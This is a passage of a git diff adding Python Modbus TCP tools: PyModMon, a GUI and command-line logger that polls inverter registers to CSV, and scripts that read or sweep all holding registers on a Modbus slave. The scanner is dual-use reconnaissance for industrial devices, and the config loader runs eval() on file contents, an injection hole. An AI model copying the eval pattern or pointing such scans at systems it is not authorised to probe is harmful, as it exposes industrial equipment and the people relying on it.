int(Config.get('FileSettings','log buffer')) + data.datasets = eval(Config.get('TargetDataSettings','data table')) + + ## function for actually writing configuration data + # + def writeExportFile(self): + import io ## required for correct writing of unicode characters to file + ## use ini file capabilities + import configparser + Config = configparser.ConfigParser() + + ## if the dialog was closed with no file selected ('cancel') just return + if (data.inifilename == None): + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','no file name given, please check.') + except: + print('Configuration file error, no file name given, please check.') + return + ## write the data to the selected config file + try: + inifile = io.open(data.inifilename,'w',encoding="utf-8") + except: + try: ## if running in command line no window can be displayed + showerror('Configuration File Error','a file with that name seems not to exist, please check.') + except: + print('Configuration file error, a file with that name seems not to exist, please check.') + gui.selectExportFile() + return + + ## format the file structure + Config.add_section('CommSettings') + Config.set('CommSettings','IP address',str(data.ipaddress)) + Config.set('CommSettings','port number',str(data.portno)) + Config.set('CommSettings','Modbus ID',str(data.modbusid)) + Config.set('CommSettings','manufacturer',str(data.manufacturer)) + Config.set('CommSettings','logger interval',str(data.loginterval)) + Config.add_section('FileSettings') + Config.set('FileSettings','log file',str(data.logfilename)) + Config.set('FileSettings','log buffer',str(data.logmaxbuffer)) + Config.add_section('TargetDataSettings') + Config.set('TargetDataSettings','data table',str(data.datasets)) + + Config.write(inifile) + inifile.close() + + ## function for writing to log file + # checks if it is an existing file with data in it and will append then + # this function should only be called in intervals writing data in bulk (e.g. every 5 minutes) + # to prevent wearout on solid state disks like SD CARDs + # + def writeLoggerDataFile(self): + import csv ## for writing in csv format + import datetime ## for daily log option + import io ## required for correct writing of utf-8 characters + + if (data.logfilename == None): ## when no filename is given, print data to terminal + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to terminal + print(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + print(data.databuffer) + if (len(data.databuffer) == 1): ## if only one address was provided via command line + print(data.databuffer[0][0],data.datasets[1][3],data.databuffer[0][1],data.datasets[1][4]) + data.databuffer = [] ## empty buffer + return + + thislogfile = data.logfilename ## store filename locally for daily option + thisdate = str(datetime.date.today()) + gui_checked_daily = 0 + + ## is GUI available or is command line mode active + if (gui_active): + gui_checked_daily = int(gui.checked_daily.get()) + + ## if daily option is active + if ( (arguments['--daily-log'] == True) or (gui_checked_daily) ): + ## assumption: the logfile has a file extension + logfileparts = thislogfile.rpartition('.') + + ## if there is no file extension we will append the current date to the name + if (logfileparts[0] == ''): + ## re-order logfileparts + thislogfile = logfileparts[2]+'_'+thisdate + else: + ## format the new logfilename with current date included + thislogfile = logfileparts[0]+'_'+thisdate+logfileparts[1]+logfileparts[2] + + ## try to open the file. if it does not exist, create it on the way + try: + open(thislogfile, 'a').close() + except: + try: ## if running in command line no window can be displayed + showerror('Log File Error','file cannot be accessed, please check.') + except: + print('Log file error. File cannot be accessed, please check.') + return + + + ## check if the file is empty, if so write the header information to the file + if os.stat(thislogfile).st_size==0: + with io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except 